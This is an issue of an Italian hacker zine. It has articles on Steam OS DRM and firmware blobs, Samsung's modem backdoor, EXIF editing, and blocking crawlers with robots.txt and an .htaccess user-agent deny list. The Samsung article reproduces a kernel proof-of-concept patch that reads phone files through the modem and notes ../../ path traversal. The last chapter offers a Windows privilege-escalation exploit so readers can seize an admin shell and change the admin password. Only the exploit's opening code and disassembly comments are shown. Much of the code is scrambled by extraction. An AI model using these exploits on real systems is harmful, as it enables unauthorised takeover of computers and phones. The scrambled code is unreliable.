StartX Maggio-Vol1

Transcript

StartX Maggio-Vol1
Siate liberi
siate liberi
Steam OS strumento del potere
samsung la nuova apple, un bene?
exif date
Ragni nella rete
exploit locali
in windows
PERCHE QUESTA RIVISTA
Questa rivista nasce sul pensiero che la gente vuole
leggere notizie di informatica attuali e non può perchè non
sempre le riviste italiane argomentano su tematiche di
attualità, molte volte tacciono sistematicamente senza dire
nulla. L'unica rivista che in italia faceva il suo lavoro
egregiamente era hacker journal, le altre riviste invece
continuano scrivendo ancora (merda) e la vendono al
pubblico pensando solo al loro guadagno dato dalle
vendite.Trattano argomenti come la sicurezza facendo
sezioni hacker che mostrano exploit che settati mostrano il
loro ip alla presunta vittima. Fanno sezioni gadget dove
inneggiano oggetti perchè pagano la pubblicità, fanno
pubblicità alle marche che sborsano denari. mettono
tantissime pagine pubblicitarie solo perchè sono reditizie.
Questa rivista invece sarà diversa, informazzione libera
senza censure, ognuno potrà leggerla gratuitamente, le
eventuali pubblicità che vedete non vengono pagate.
Vengono usate forme di baratto che attraverso alcuni
banner pubblicizzerò la rivista. Ogni articolo è stasto
scritto con lo scopo di informare le persone in modo che sia
utile e possa cosi aiutare a comprendere concetti, formule,
e varie filosofie, offrendo ciò che le riviste italiane non
danno piu da anni e con questo spero che un giorno le
riviste italiane possano tornare a fare infomazione piu di
quanto non fanno ora. Questa rivista inoltre e stata creata
esclusivamente con strumenti opensource.
Vago per le galssie, la gente mi chiama “capitan harlok”... vivo in liberta,
per questo mare sconfinato, issando bandiera con un teschio, finche avro
vita. E sotto la mia bandiera, sotto il mio vessillo io saro libero
-cit. capitan harlok
[afr0]
Capitolo 1
steam OS strumento del potere
contenuti:
-steam
-steam
-steam
-steam
OS
OS
OS
OS
panoramica
e il DRM
e i blob
conclusioni
Dopo il rilascio del sistema operativo della valve
(December 13, 2013), basato su debian, una trà le più
efficenti e personalizzabili distro gnu/linux, e la creazione
delle steam machine da parte di marche conosciute e non
e la buona risposta ricevuta dal pubblico, incomincia a
venire a galla il lato oscuro di steam.
Se da un lato ha fatto rumor per la creazione del OS da
parte dalla famosa casa valve (che deve i suoi successi
alla vendita di gaming), essa sembra possedere un lato
oscuro .
Partiamo dai requisiti minimi di steam OS
intel or AMD 64-bit capable processor
4 GiB or more main memory
NVIDIA, AMD, or Intel graphics card
500 GB hard drive space
Hardware non in linea con la filosofia gnu/linux, anche
perchè non tutti gli utenti possono permettersi tali pezzi
hardware, ma fin qui si potrebbe dire: “bhe ma è fatto per
giocare” purtroppo è vero, vero che questa è solo la
punta del lato oscuro di steam os.
La parte sommersa di questo iceberg è quella che steam
OS usa il DRM..
Cos’è il drm?
Drm acronimo di “Digital restriction management” che
riassunto sono delle restrizioni per l’utente, anche se era
“nato” per evitare la pirateria, la copia, la condivisione di
una canzone o la lettura di un ebook su un altro
dispositivo.
Ma in realtà viene usato per impedire all' utente di fare ciò
che sarebbe possibile senza di esso. Questo permette il
controllo sulla produzione e distribuzione di supporti,
dando ai venditori ambulanti di DRM il potere di compiere
enormi roghi di libri digitali e condurre la sorveglianza su
larga scala controllando le abitudini delle persone, quindi
possiamo pensare che steam OS sia stato creato per
promuovere software proprietario e catalogare gli utenti.
Un altro rumors ancora è quello della cartella non-free, ma
partiamo dal nome non-free, che non sembra in linea col
pensiero gnu/linux, ma andiamo con calma ad analizzare le
sotto cartelle contenute in essa.
Una volta aperta la cartella non-free troviamo al suo
interno 4 cartelle nel seguente ordine: b,f,n,s.
Ma cosa contengono al loro interno?
La cartella .b. contiene un pacchetto in .deb. chiamato
broadcom-sta ma cosè la broadcom?
E' una azienda statunitense operante nel settore dei
semiconduttori, dei circuiti integrati e nelle reti di
telecomunicazione, fin quì non c’è nulla di male se non
fosse per il loro codice e nella sezione non-free il primo
campanello d’allarme.
Nella cartella .f. troviamo una cartella chiamata firmwarenonfree al cui interno troviamo un file che leggendolo e
andando in descrizione troviamo:
“Description: Binary firmware for various drivers in the
Linux kernel
This package contains the binary firmware for various
drivers in the
Linux kernel. This is a collection of firmware blobs which
are not
individually large enough to warrant a standalone
package.”
Ma cosa ci sarà di strano, per chi non lo avesse notato
troviamo il firmware blobs, questi “blob” non sono liberi.
ma cosa sono i blob?
Un Blob binario è un close source, Il termine si riferisce di
solito ad una closed-source di moduli per il kernel caricati
nel kernel open source di un sistema operativo.
Ma possono causare problemi ad un utente?
La risposta aimè è SI. In primo luogo la loro funzione non
è resa nota e la presenza di bug all' interno di questo
codice che essendo chiuso l'utente non può correggere e
ancor meno modificare,quindi gli utenti sono tuttti esposti
a rischi, nella più totale impotenza. Possono solo aspettare
che gli sviluppatori risolvano il problema.
In secondo luogo poiché il codice sorgente non è
disponibile al conducente e quindi non può essere
migliorato dagli utenti, né trasferito da una architettura
all'altra che non sia inizialmente supportata.
Infine, gli utenti sono costretti a fidarsi di venditori o terzi
che non abbiano immesso in questo codice delle
back - door o spyware.
Ma passiamo alla cartella .n. che contiene i driver nvidia;
su di essa non mi soffermerò piu di tanto.
NVIDIA
Ci sarebbe tantissimo da scrivere su questa grande
industria ma non divaghiamo, cominciamo il discorso
partendo da torvalds.
Torvalds?
Si, partiamo da un fatto che non tutti conoscono.
Quache mese fa il nostro amato Linus Torvalds ha mandato
a cagare la nvidia aggiungendo anche:
"È la peggiore azienda con cui abbiamo avuto mai a che
fare"
Così ha sentenziato il guru.
Torvalds ha aggiunto che per Nvidia il supporto a linux è
una eccezione piuttosto che la regola e si è anche detto
felice di poter inchiodare pubblicamente l'azienda alle sue
responsabilità, prendendo spunto da una domanda fatta dal
pubblico sul supporto della tecnologia Optimus, che
permette l'uso del core grafico integrato o della GPU
dedicata sui portatili secondo il carico di lavoro.
Ma dopo qualche mese Nvidia dichiarerà il suo aiuto, però
ora troviamo dei suoi “pezzi” in una cartella NON FREE in
questo sistema e concludiamo con la cartella .s. che
contiene il software steam.
Per concludere questo iceberg è davvero grande ma la
cosa che preoccupa è che è stato rilasciato come OS in
linea con gnu/linux, ma dopo le prime analisi sembra in
linea con tutto tranne che con gnu/linux…
[articolo 100% afr0]
Capitolo 2
samsung la nuova apple, un bene?
contenuti:
-
Samsung la storia
Il sucesso di samsung
Le backdoor di samsung
Il futuro di samsung?
Samsung azienda nata nel lontano 1 marzo 1938 il cui
nome significa tre stelle, oggi una delle aziende leader nel
settore mobile, facendo ogni anno prodotti interessanti e
non, negli ultimi anni uno dei prodotti che ha più
spopolato è stato il Glaxy S3. Chi di noi non ne ha visto
almeno uno, ma se da un lato questa azienda è amata dal
publico, dall' altro ha fervidi oppositori vedi il colosso
Apple che si batte con la sudetta per i brevetti.
Nonostante ciò l'azienda continua a vendere nel mondo.
Ma cosa ha reso così popolare Samsung nei dispositivi
mobile?
La risposta a questa domanda è molto semplice: Android.
Si il sistema mobile google è stato adottato dalla Samsung
ma come ogni azienda che lo uitilizza, anche Samsung ha
personalizzato il suo Android profondamente aggiungendo
funzioni utili, interessanti e non.
Ma se dal lato industriale, produttivo ha raggiunto tutto
questo sucesso, non significa che non possieda anche
UN LATO OSCURO!
Questo lato oscuro che di recente sta emergendo, grazie
anche alla casa Replicant la quale ha scoperto back-door
nei dispositivi Samsung.
Ma In quali dispositivi e stata scoperta?
Ma dove si trova esattamente questa back door??
La back-door si trova nella parte di codice che si occupa di
gestire le comunicazioni del modem, infatti utilizzando il
protocollo Samsung IPC si implementa una classe di
richieste note come comandi RFS, che consentono al
modem di eseguire a distanza le operazioni di I / O sulla
memoria del telefono. Appena il modem va in esecuzione è
il software proprietario stesso probabilmente ad offrire
over-the-air, i quali potrebbero in seguito essere utilizzati
per emettere i messaggi RFS incriminati e accedere al file
system del telefono.
L'analisi
La seguente analisi è stata fatta dal team replicant ed è
stata condotta utilizzando il libsec-ril.so file binario (il
software proprietario incriminato), estratto dal
CyanogenMod 10.1.3 sistema di zip per il Galaxy S 3
(I9300), dalla posizione system/lib/libsec-ril.so .
Al fine di indagare la back-door e controllare ciò che
effettivamente fa il modem. Quì sotto trovate il codice che
è stato aggiunto al kernel driver del modem.
Questo lo renderà operativo e inietterà le richieste che
tramite i messaggi incriminati sarà possibile verificarne i
risultati.
La patch seguente:
____________________________________________________________
Subject: [PATCH] modem_if: Inject and intercept RFS I/O
messages to perform
open/read/close
Signed-off-by: Paul Kocialkowski <[email protected]>
--drivers/misc/modem_if/sipc4_io_device.c | 182 +++++++
+++++++++++++++++++++++++
1 file changed, 182 insertions(+)
diff --git a/drivers/misc/modem_if/sipc4_io_device.c
b/drivers/misc/modem_if/sipc4_io_device.c
index 28f95f7..413bea1 100644
--- a/drivers/misc/modem_if/sipc4_io_device.c
+++ b/drivers/misc/modem_if/sipc4_io_device.c
@@ -48,6 +48,8 @@ static const char hdlc_end[1] =
{ HDLC_END };
static int rx_iodev_skb(struct sk_buff *skb);
+static int rfs_craft_start(struct io_device *iod);
+
static ssize_t show_waketime(struct device *dev,
struct device_attribute *attr, char *buf)
{
@@ -685,6 +687,10 @@ static int rx_iodev_skb(struct
sk_buff *skb)
return rx_multi_fmt_frame(skb);
case IPC_RFS:
+
dev_kfree_skb_any(skb);
+
mif_err("%s: Dropping RFS frame", __func__);
+
rfs_craft_start(iod);
+
return 0;
default:
skb_queue_tail(&iod->sk_rx_q, skb);
mif_debug("wake up wq of %s\n", iod->name);
@@ -1215,6 +1221,174 @@ static long misc_ioctl(struct
file *filp, unsigned int cmd, unsigned long arg)
return 0;
}
+// Craft an internal SKB frame
+static int rfs_craft_skb(struct sk_buff **skb_p, unsigned
char command, void *data, int length)
+{
+ struct sk_buff *skb = NULL;
+ struct rfs_hdr rfs_header;
+ int frame_length;
+ static unsigned char id = 0x0B;
+
+ frame_length = sizeof(rfs_header) + length;
+
+ rfs_header.len = frame_length;
+ rfs_header.cmd = command;
+ rfs_header.id = id;
+
+ skb = alloc_skb(frame_length, GFP_KERNEL);
+ if (!skb) {
+
mif_err("fail alloc skb (%d)\n", __LINE__);
+
return -ENOMEM;
+ }
+
+ memcpy(skb_put(skb, sizeof(rfs_header)),
&rfs_header, sizeof(rfs_header));
+ memcpy(skb_put(skb, length), data, length);
+
+ *skb_p = skb;
+
+ id++;
+
+ return 0;
+}
+
+// This is to start the RFS exchange, called when the first
legitimate RFS frame is received
+static int rfs_craft_start(struct io_device *iod)
+{
+ struct sk_buff *skb = NULL;
+ unsigned char buffer[100] = { 0 };
+ unsigned char *p = NULL;
+ char path[] = "../../data/radio/test";
+ int mode, path_length = 0;
+ int length = 0;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
static int started = 0;
if (started)
return 0;
mif_err("%s: Crafting open\n", __func__);
p = &buffer;
length = 0;
mode = O_RDWR;
memcpy(p, &mode, sizeof(mode));
p += sizeof(mode);
length += sizeof(mode);
path_length = strlen(path);
memcpy(p, &path_length, sizeof(path_length));
p += sizeof(path_length);
length += sizeof(path_length);
memcpy(p, &path, path_length);
length += path_length;
// IPC_RFS_OPEN_FILE
rfs_craft_skb(&skb, 0x11, &buffer, length);
if (skb != NULL) {
mif_err("%s: Adding SKB to queue\n", __func__);
skb_queue_head(&iod->sk_rx_q, skb);
wake_up(&iod->wq);
}
started = 1;
+ return 0;
+}
+
+// This is called upon user-space response to our crafted
messages
+static int rfs_craft_write(struct io_device *iod, void *data,
int size)
+{
+ struct sk_buff *skb = NULL;
+ unsigned char buffer[100] = { 0 };
+ struct rfs_hdr *rfs_header;
+ unsigned char *p;
+ int length;
+ int read_length;
+ static int fd = -1;
+ int errno;
+
+ rfs_header = (struct rfs_hdr *) data;
+
+ switch (rfs_header->cmd) {
+
case 0x11: // IPC_RFS_OPEN_FILE
+
p = data + sizeof(struct rfs_hdr);
+
+
fd = *((int *) p);
+
p += sizeof(fd);
+
errno = *((int *) p);
+
+
mif_err("%s: Open response: fd=%d, errno=
%d\n", __func__, fd, errno);
+
+
if (fd < 0 || errno)
+
break;
+
+
p = &buffer;
+
length = 0;
+
+
memcpy(p, &fd, sizeof(fd));
+
p += sizeof(fd);
+
length += sizeof(fd);
+
+
read_length = 12;
+
memcpy(p, &read_length,
sizeof(read_length));
+
p += sizeof(read_length);
+
length += sizeof(read_length);
+
+
// IPC_RFS_READ_FILE
+
rfs_craft_skb(&skb, 0x03, &buffer, length);
+
if (skb != NULL) {
+
mif_err("%s: Adding SKB to queue\n",
__func__);
+
skb_queue_head(&iod->sk_rx_q, skb);
+
wake_up(&iod->wq);
+
}
+
+
break;
+
case 0x03: // IPC_RFS_READ_FILE
+
p = data + sizeof(struct rfs_hdr);
+
+
read_length = *((int *) p);
+
p += sizeof(read_length);
+
+
// Unknown int, perhaps offset
+
p += sizeof(int);
+
+
mif_err("%s: Read response: %d bytes
read\n", __func__, read_length);
+
mif_print_data(p, read_length);
+
+
p = &buffer;
+
length = 0;
+
+
if (unlikely(fd < 0))
+
break;
+
+
memcpy(p, &fd, sizeof(fd));
+
p += sizeof(fd);
+
length += sizeof(fd);
+
+
// IPC_RFS_CLOSE_FILE
+
rfs_craft_skb(&skb, 0x06, &buffer, length);
+
if (skb != NULL) {
+
mif_err("%s: Adding SKB to queue\n",
__func__);
+
skb_queue_head(&iod->sk_rx_q, skb);
+
wake_up(&iod->wq);
+
}
+
+
fd = -1;
+
+
break;
+
default:
+
p = data + sizeof(struct rfs_hdr);
+
+
mif_err("%s: Rx RFS message with command
0x%x and size %d\n", __func__, rfs_header->cmd, size);
+
mif_print_data(p, size - sizeof(struct rfs_hdr));
+
break;
+ }
+
+ return 0;
+}
+
static ssize_t misc_write(struct file *filp, const char __user
*buf,
size_t count, loff_t *ppos)
{
@@ -1278,6 +1452,14 @@ static ssize_t misc_write(struct
file *filp, const char __user *buf,
skb_put(skb, calc_padding_size(iod, ld, skb->len));
+ if (iod->format == IPC_RFS) {
+
mif_err("%s: Intercepted RFS response",
__func__);
+
rfs_craft_write(iod, skb->data +
SIZE_OF_HDLC_START, skb->len - SIZE_OF_HDLC_START
- SIZE_OF_HDLC_END);
+
+
dev_kfree_skb_any(skb);
+
return count;
+ }
+
#if 0
if (iod->format == IPC_FMT) {
mif_err("\n<%s> Tx HDLC FMT frame (len
%d)\n",
-1.8.5.3 // salvarla in .patch
Ma come applicarlo?
Da applicare al kernel 4.2 SMDK4412 Replicant,
implementa un utilizzo campione della back-door,
aprire il /data/radio/test e di seguito chiudere il file.
Questo dimostra che il software incriminato eseguirà delle
operazioni su richiesta del modem. Si noti che
l'implementazione del software aggiunge /efs/root/ al
percorso previsto, ma è abbastanza semplice sfuggire a
tale percorso e chiedere qualsiasi file residente nel file
system (usando ../../ ).
Si noti che i file vengono aperti con autorizzazioni utente
del software incriminato, che può essere root su alcuni
dispositivi. In altri casi, le sue piste come utente senza
privilegi, che possono ancora accedere ai dati personali
dell'utente ( /sdcard ). Infine, alcuni dispositivi possono
implementare SELinux, che limita considerevolmente la
portata di eventuali file a cui il modem può accedere,
compresi i dati personali dell'utente ( /sdcard/ ).
Come primo approccio, utilizzando uno strumento contro il
programma incriminato esso rivela numerosi nomi di
comandi sospetti che sembrano essere le definizioni dei
protocolli Samsung IPC:
IPC_RFS_READ_FILE
IPC_RFS_WRITE_FILE
IPC_RFS_LSEEK_FILE
IPC_RFS_CLOSE_FILE
IPC_RFS_PUT_FILE
IPC_RFS_GET_FILE
IPC_RFS_RENAME_FILE
IPC_RFS_GET_FILE_INFO
IPC_RFS_UNLINK_FILE
IPC_RFS_MAKE_DIR
IPC_RFS_REMOVE_DIR
IPC_RFS_OPEN_DIR
IPC_RFS_READ_DIR
IPC_RFS_CLOSE_DIR
IPC_RFS_OPEN_FILE
IPC_RFS_FTRUNCATE_FILE
IPC_RFS_GET_HANDLE_INFO
IPC_RFS_CREATE_FILE
I nomi di questi comandi rendono evidente che hanno
lasciato il modem eseguire le operazioni di I / O.
Lo strumento rivela anche: corrispondenti nomi di
funzioni che sembrano implementare la gestione di questi
comandi:
RxRFS_GetFile
RxRFS_CreateFile
RxRFS_ReadDirectory
RxRFS_OpenDirectory
RxRFS_RenameFile
RxRFS_Default
RxRFS_OpenFile
RxRFS_ReadFile
RxRFS_FtruncateFile
RxRFS_WriteFile
RxRFS_GetFileInfoByHandle
RxRFS_GetFileInfo
RxRFS_PutFile
RxRFS_LseekFile
RxRFS_CloseFile
RxRFS_DeleteFile
RxRFS_MakeDirectory
RxRFS_CloseDirectory
RxRFS_RemoveDirectory
TxRFS_CfrmCreateFile
TxRFS_CfrmPutFile
TxRFS_CfrmOpenDirectory
TxRFS_CfrmGetFileInfo
TxRFS_CfrmReadDirectory
TxRFS_CfrmRenameFile
TxRFS_CfrmCloseFile
TxRFS_CfrmFtruncateFile
TxRFS_CfrmGetFileInfoByHandle
TxRFS_CfrmDeleteFile
TxRFS_CfrmCloseDirectory
TxRFS_CfrmRemoveDirectory
TxRFS_CfrmMakeDirectory
TxRFS_CfrmGetFile
TxRFS_CfrmReadFile
TxRFS_CfrmWriteFile
TxRFS_CfrmLseekFile
TxRFS_CfrmOpenFile
Dando una occhiata più da vicino a queste funzioni,
utilizzando objdump decompiler, si nota che essi sono
effettivamente chiamati da ipc_recv_rfs funzione,
chiamato da process_ipc_notify_message , che sembra
gestire i messaggi ricevuti dal modem. Quindi possiamo
dedurre che le funzioni incriminate sono effettivamente
chiamate dal modem.
Un ulteriore sguardo più da vicino a una di queste
funzioni, ad esempio RxRFS_ReadFile che ci rivela più
chiamate alla Procedura Linkage Table (PLT).
Quindi crediamo che queste chiamate siano funzioni legate
dalla libreria libc, in particolare di I / funzioni quali (in
maniera generale) O-imparentato open , close , read ,
write ecc, messaggi ipc rfs.
Le seguenti voci in tabella sono messaggi Samsung IPC
RFS con il seguente valore esadecimale :
IFORMAZZIONI FINALI
I dispositivi interessati sono i modem che utilizzano il
protocollo Samsung IPC, soprattutto Intel XMM6160 e
modem Intel XMM6260. Si noti che nonostante questa
back-door, i dispositivi che utilizzano questi modem hanno
più probabilità di avere un buon isolamento al modem,
rispetto ad altri dispositivi che utilizzano piattaforme
Qualcomm. Tenete a mente che questa back-door è
implementata nel software e può essere facilmente
rimossa con l'installazione del software incriminato, per
esempio installando Replicant.
L'articolo e stato fatto prendendo gli strumenti dal sito
ufficiale di replicant
http://www.replicant.us
Capitolo 3
exif date
contenuti:
- che cosa sono?
- come posso estrarli?
Exif abbreviazzione di Exchangeable image file format
creato dalla: JEIDA
(Japan Electronic Industries Development Association).
Cosa sono gli Exif?
Sono informazioni aggiuntive intrappolate dentro ad una
immagine, dei semplici tag. Questi tag di metadati definiti
nello standard Exif coprono un vasto spettro includendo:
Informazioni di data e ora. Le fotocamere digitali
registrano la data e ora corrente e molto altro durante la
loro attività grazie a questi metadati.
Impostazioni della fotocamera. Queste includono
informazioni statiche come il modello ed il produttore
della fotocamera, le informazioni varie per ciascuna
immagine salvata come l'orientamento, l'apertura del
diaframma, la velocità dello scatto, la lunghezza focale, il
bilanciamento del bianco, e le informazioni di velocità ISO
impostate.
Una miniatura per visualizzare un'anteprima sul display
LCD della fotocamera, nei file manager, oppure nei
software di fotoritocco.
Descrizioni ed informazioni di copyright.
Informazzioni geografiche. Possono essere incluse
informazioni relative alla locazione degli scatti, che
potrebbero provenire da un ricevitore GPS connesso alla
fotocamera; il formato standard per il salvataggio di
queste informazioni spaziali è il GPX.
Ma come si estraggono questi dati?
ci sono vari modi per farlo, ma uno dei piu semplici e
affidarsi a "lettori" online come
exifdata.com
oppure usare software da installare nel nostro computer.
Ma fino a quanto sono attendibili?
I dati exif si manipolano molto facilmente quindi a meno di
non essere gli autori di una fotografia, non si può avere la
certezza assoluta che essi corrispondano effettivamente
all'immagine visualizzata.
Come manipolare questi dati?
Anche in questo caso possiamo usare una piattaforma web
di nome
thexifer.net
[il nome e anche un link]
quindi dirigiamoci sopra la piattaforma
thexifer.net
e carichiamo l'immagine.
ora cliccate load the exif editor, e si aprirà l'editor a destra
bene andiamo a vedere cosa eXif ci permette di
modificare
ma incominciamo a vedere lo scheletro del menu
guardiamoli ora uno per uno incominciamo da exif data
iptc tags
gps tags
xmp tag
ora salviamo l'immagine cliccando submit changes
[articolo 100% afr0]
Capitolo 4
ragni nella rete
contenuti:
-cosa sono
-come si usano
-come ci difendiamo
I cosidetti ragni detti anche crawler, sono dei software bot
che analizzano una rete o un database, in modo
automatico e ne salvano i contenuti, acquisendone di solito
un copia testuale che inseriscono in un indice.
Quando i ragni invadono la rete
il funzionamento dei ragni nel web e molto semplice, al bot
viene data una lista di url, il ragno la analizza e se in
questi url è contenuto un hyperlink il ragno lo aggiunge
alla lista precedente, cosi facendo aumenta continuamente
la lista.
Ma chi li usa?
Questi ragni vengo usati dai motori di ricerca. Ogni volta
che un motore di ricerca ci da un risultato,
esso era gia stato spiderizzato in
precedenza.
Ecco una tabella dei principali motori e i
nomi dei loro ragni.
Esistono ragni open-source?
Certo che si ecco una lista dei pricnipali ragni open-source
DataparkSearch
Ebot
Wget
Heritrix
Htdig
HTTrack
JSpider
Methabot
Nutch
WebVac
WebSPHINX
WIRE
LWP
Web Crawler
Sherlock Holmes
YaCy
Ruya
Universal Information Crawler
Agent Kernel
Squzer
Arachnode.NET
BBragnet
Ma come li posso controllare?
Questi ragni controllano tutte le cartelle del nostro server,
però non sappiamo se i ragni non open source prendono
solo gli hyperlink quindi per proteggersi bisogna avere un
file nella cartella di root nel nostro server, questo file si
chiama robots.txt
Ma cosa dobbiamo scrivere in questo file?
Molto semplicemente diremo a ogni ragno se può entrare
e cosa non può vedere
per fare un esempio
User-agent: *
// nome del ragno in questo caso
essendoci il simbolo * la regola
si applica a tutti i ragni
Disallow: /cartella segreta/
/cartella segreta/
Request-rate: 1/5
ogni 5 secondi
Visit-time: 0600-0845
AM e le 8:45 AM
# Blocca la directory
# Visita al massimo una pagina
# Visita soltanto tra le 6:00
Ancora un esempio per bloccare i temutissimi ragni neri.
Questo file invece va salvato in questo modo:
Htaccess nella cartella public_html
SetEnvIfNoCase ^User-Agent$ .*(aesop_com_spiderman|
alexibot|backweb|bandit|batchftp|bigfoot)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(black.?hole|blackwidow|
blowfish|botalot|buddy|builtbottough|bullseye)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(capture|fetch|finder|
harvest|Java|larbin|libww|library|link|nutch|Retrieve)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(cheesebot|cherrypicker|
chinaclaw|collector|copier|copyrightcheck|crawl)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(cosmos|crescent|curl|
custo|da|diibot|disco|dittospyder|dragonfly)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(drip|easydl|ebingbong|
ecatch|eirgrabber|emailcollector|emailsiphon)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(emailwolf|erocrawler|
exabot|eyenetie|filehound|flashget|flunky)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(frontpage|getright|
getweb|go.?zilla|go-ahead-got-it|gotit|grabnet)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(grafula|harvest|hloader|
hmview|httplib|httrack|humanlinks|ilsebot)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(infonavirobot|infotekies|
intelliseek|interget|iria|jennybot|jetcar)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(joc|justview|jyxobot|
kenjin|keyword|larbin|leechftp|lexibot|lftp|libweb)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(likse|linkscan|
linkwalker|lnspiderguy|lwp|magnet|mag-net|markwatch)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(mata.?hari|memo|
microsoft.?url|midown.?tool|miixpc|mirror|missigua|
mrsputnik) HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(mister.?pix|moget|
mozilla.?newt|nameprotect|navroad|backdoorbot|nearsite)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(net.?vampire|netants|
netcraft|netmechanic|netspider|nextgensearchbot)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(attach|nicerspro|
nimblecrawler|npbot|octopus|offline.?explorer)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(offline.?navigator|
openfind|outfoxbot|pagegrabber|papa|pavuk)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(pcbrowser|php.?
version.?tracker|pockey|propowerbot|prowebwalker)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(psbot|pump|queryn|
recorder|realdownload|reaper|reget|true_robot)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(repomonkey|rma|
internetseer|sitesnagger|siphon|slysearch|smartdownload)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(snake|snapbot|snoopy|
sogou|spacebison|spankbot|spanner|sqworm|superbot)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(scraper|siphon|spider|
tool|superhttp|surfbot|asterias|suzuran|szukacz|takeout|
teleport) HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(telesoft|the.?
intraformant|thenomad|tighttwatbot|titan|urldispatcher)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(turingos|turnitinbot|
urly.?warning|vacuum|vci|voideye|whacker)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(widow|wisenutbot|
wwwoffle|xaldon|xenu|zeus|zyborg|anonymouse)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(craftbot|download|
extract|stripper|sucker|ninja|clshttp|webspider|leacher|
coll?ector|grabber|webpictures) HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(libwww-perl|
aesop_com_spiderman) HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(libwww-perl|Purebot|
Sosospider|AboutUsBot|Johnny5|Python-urllib|Yeti|
TurnitinBot) HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(GoScraper|Kehalim|
DoCoMo|SurveyBot|spbot|BDFetch|EasyDL|CamontSpider|
Chilkat|Z?mEu)
HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(GoScraper|Kehalim|
DoCoMo|SurveyBot|spbot|BDFetch|EasyDL|CamontSpider|
Chilkat|Z?mEu) HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*web(zip|emaile|enhancer|
fetch|go.?is|auto|bandit|clip|copier|master|reaper|sauger|
site.?quester|whack) HTTP_SAFE_BADBOT
<Limit GET POST>
Order Allow,Deny
Allow from all
Deny from env=HTTP_SAFE_BADBOT
</Limit>
*add
[articolo 100% afr0]
Capitolo 5
exploit locali in windows
contenuti:
-cosa ci si fa?
-il codice del' exploit
-come pachettizarlo in .exe
Vi siete mai chiesti come avere una cmd da admin senza
dover ricorrere a quelle guide per scalare i privilegi di
admin che la maggior parte delle volte non funzionano?
Se la vostra risposta è stata si oggi vi farò una guida che
grazie ad un exploit potrete ottenere una cmd con i
privilegi di admin.
Ma cosa ci si fa con una cmd come admin?
Potete cambiare la stessa password dell' admin, togliere
password, avviare software che normalmente richiederebbe
l’approvazione dell’ admin.
Bene cominciamo lavorando sul nostro pc su cui abbiamo
già installato visual studio 10.
Bene a questo punto procediamo a scaricare l’exploit che
rilascio qui:
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <stdio.h>
#include <stdarg.h>
#include <stddef.h>
#include <windows.h>
#include <assert.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#pragma
#pragma
#pragma
#pragma
#pragma
comment(lib, "gdi32")
comment(lib, "kernel32")
comment(lib, "user32")
comment(lib, "shell32")
comment(linker, "/SECTION:.text,ERW")
#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif
#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
-------------------------------------------------Windows NT/2K/XP/2K3/VISTA/2K8/7/8
-------------------------------------------------INTRODUCTION
; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ
*this,
PATHRECORD
**pppr,
ULONG
*pcMax,
ULONG cNeeded)
.text:BFA122CA
mov
esi, [ebp+ppr]
.text:BFA122CD
mov
eax, [esi+PATHRECORD.pprPrev]
.text:BFA122D0
push
edi
.text:BFA122D1
mov
edi, [ebp+pprNew]
.text:BFA122D4
mov
[edi+PATHRECORD.pprPrev], eax
.text:BFA122D7
lea
eax, [edi+PATHRECORD.count]
.text:BFA122DA
xor
edx, edx
.text:BFA122DC
mov
[eax], edx
.text:BFA122DE
mov
ecx, [esi+PATHRECORD.flags]
// .text:BFA122E1
and
ecx, not (PD_BEZIER)
// .text:BFA122E4
mov
[edi+PATHRECORD.flags], ecx
// .text:BFA122E7
mov
[ebp+pprNewCountPtr], eax
// .text:BFA122EA
cmp
[edi+PATHRECORD.pprPrev], edx
// .text:BFA122ED
jnz
short loc_BFA122F7
// .text:BFA122EF
mov
ecx, [ebx+EPATHOBJ.ppath]
// .text:BFA122F2
mov
[ecx+PATHOBJ.pprfirst], edi
//
// It turns out this mostly works because newpathrec() is backed by
newpathalloc()
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
//
